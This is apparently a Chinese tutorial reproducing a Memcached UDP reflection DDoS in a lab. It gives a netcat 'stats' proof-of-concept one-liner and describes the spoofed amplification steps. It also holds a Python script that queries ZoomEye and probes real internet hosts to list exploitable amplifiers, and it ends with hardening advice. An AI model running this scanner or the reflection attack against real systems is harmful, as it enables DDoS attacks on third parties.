Memcached UDP DDoS利用复现

Memcached 简介

Memcached是一种基于内存的key-value存储,用来存储小块的任意数据(字符串、对象)。这些数据可以是数据库调用、API调用或者是页面渲染的结果。
它是一个简洁的key-value存储系统。
一般的使用目的是,通过缓存数据库查询结果,减少数据库访问次数,以提高动态Web应用的速度、提高可扩展性。

memcached flow

具体的命令使用方法,可以在这里看到,非常简单,很容易学习上手。

UDP Reflection DDoS

memcached作为中间件,在之前爆出过整数溢出漏洞,详情可以看另一篇文章,而在最近,由于其低版本默认支持UDP协议,加上默认连接方式不需要认证,使得其可以通过利用,造成UDP Reflection DDoS,这里对其利用方式进行了复现。

这里总共有3台机子:

  • memcached服务器 IP:192.168.1.100
  • 正常用户 IP:192.168.1.101
  • 攻击者 IP:192.168.1.103

其利用的主要流程如下:

  1. memcached 默认连接不需要身份认证,这成为了利用的潜在条件
  2. memcached 低版本默认支持UDP协议,这成为了UDP DDoS的条件
  3. memcached中存储一个key字段很小,但value值很长的键值对,这提供了反射DDoS的可能

复现

首先是服务器开启memcached并支持UDP协议,根据ConfiguringServer的说明,默认是开启的:

UDP
-Umodifies the UDP port, defaulting to on. UDP is useful for fetching or setting small items, not as useful for manipulating large items. Setting this to 0 will disable it, if you’re worried.

而由于memcached value值默认上线是1M,我们改为10M:

1
memcached -u root -U 11211 -I 102400 -d
start memcached

我们来测试下UDP连接是否可以,由官方手册可以看到,memcached自用协议使用UDP时需要加一个自定义的UDP header,具体参数如下,来源于这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
UDP protocol
------------
For very large installations where the number of clients is high enough
that the number of TCP connections causes scaling difficulties, there is
also a UDP-based interface. The UDP interface does not provide guaranteed
delivery, so should only be used for operations that aren't required to
succeed; typically it is used for "get" requests where a missing or
incomplete response can simply be treated as a cache miss.
Each UDP datagram contains a simple frame header, followed by data in the
same format as the TCP protocol described above. In the current
implementation, requests must be contained in a single UDP datagram, but
responses may span several datagrams. (The only common requests that would
span multiple datagrams are huge multi-key "get" requests and "set"
requests, both of which are more suitable to TCP transport for reliability
reasons anyway.)
The frame header is 8 bytes long, as follows (all values are 16-bit integers
in network byte order, high byte first):
0-1 Request ID
2-3 Sequence number
4-5 Total number of datagrams in this message
6-7 Reserved for future use; must be 0
The request ID is supplied by the client. Typically it will be a
monotonically increasing value starting from a random seed, but the client
is free to use whatever request IDs it likes. The server's response will
contain the same ID as the incoming request. The client uses the request ID
to differentiate between responses to outstanding requests if there are
several pending from the same server; any datagrams with an unknown request
ID are probably delayed responses to an earlier request and should be
discarded.
The sequence number ranges from 0 to n-1, where n is the total number of
datagrams in the message. The client should concatenate the payloads of the
datagrams for a given response in sequence number order; the resulting byte
stream will contain a complete response in the same format as the TCP
protocol (including terminating \r\n sequences).

我们可以看到,需要加一个8bit的头部,由于我们只用发一条命令,所以4-5bit值为001其余均为0,使用通用命令stats,最终构造的payload:

1
echo -en "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n" |nc -u 192.168.1.100 11211

其中echo -n是不换行,echo -e是使用特殊字符,这也是这个漏洞的通用POC:

poc

可以看到返回信息,说明此服务器可以利用。

那攻击者就可以连接此memcached服务器,给一个key设置一个很大的值,然后利用其udp反射造成DDoS。

给字段写入大量内容:
给字段写入大内容

使用UDP去请求字段,可以看到返回内容非常多:
udp

构造恶意数据包,指向正常用户源:

send udp

在用户端检测到了UDP反射的大量数据包,完成DDoS攻击:
DDoS

漏洞挖掘

使用zoomeye去扫描使用memcached组件的ip地址,然后使用poc去扫描,观察输出,如果有输出,则为可以利用的主机。

1
echo -en "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n" |nc -u ipaddr 11211

附上一个自己写的从zoomeye获取漏洞主机的代码.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# -*- coding: utf-8 -*-
import re
import json
import requests
import random
from scapy.all import *
def login():
data = {"username": "username", "password": "password"}
r = requests.post('https://api.zoomeye.org/user/login', json=data)
return json.loads(r.text)
def verify(recv):
if len(recv[0].res) > 0:
content = (recv[0].res[0][1].original).decode('latin1')
pattern = re.compile('(STAT|pid|uptime)')
match = re.search(pattern, content)
if match is not None:
return True
else:
return False
def main():
token = login()
headers = {'Authorization': 'JWT ' + token['access_token']}
base_url = 'https://api.zoomeye.org/host/search?query=app:memcached%20%2Bcountry:"CN"&page='
with open('mem-res.txt', 'w+') as fw:
for i in range(1, 200):
r = requests.get(url=base_url + str(i), headers=headers)
res = json.loads(r.text)
try:
for x in res['matches']:
ip_addr = x['ip'].strip()
ip_pkt = IP(dst=ip_addr)
udp_pkt = UDP(
dport=11211, sport=random.randint(1025, 65535))
payload = '\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n'
pkt = ip_pkt / udp_pkt / payload
recv = sr(pkt, timeout=5)
if verify(recv):
fw.write(ip_addr + '\n')
except Exception as e:
print(e)
if __name__ == '__main__':
main()

防御

  1. 使用最新版memcached
  2. 绑定监听IP,使用IP白名单或绑定本地回路
  3. 使用最小权限运行memcached
  4. 修改默认端口
  5. 启用SASL认证
  6. 关闭UDP协议支持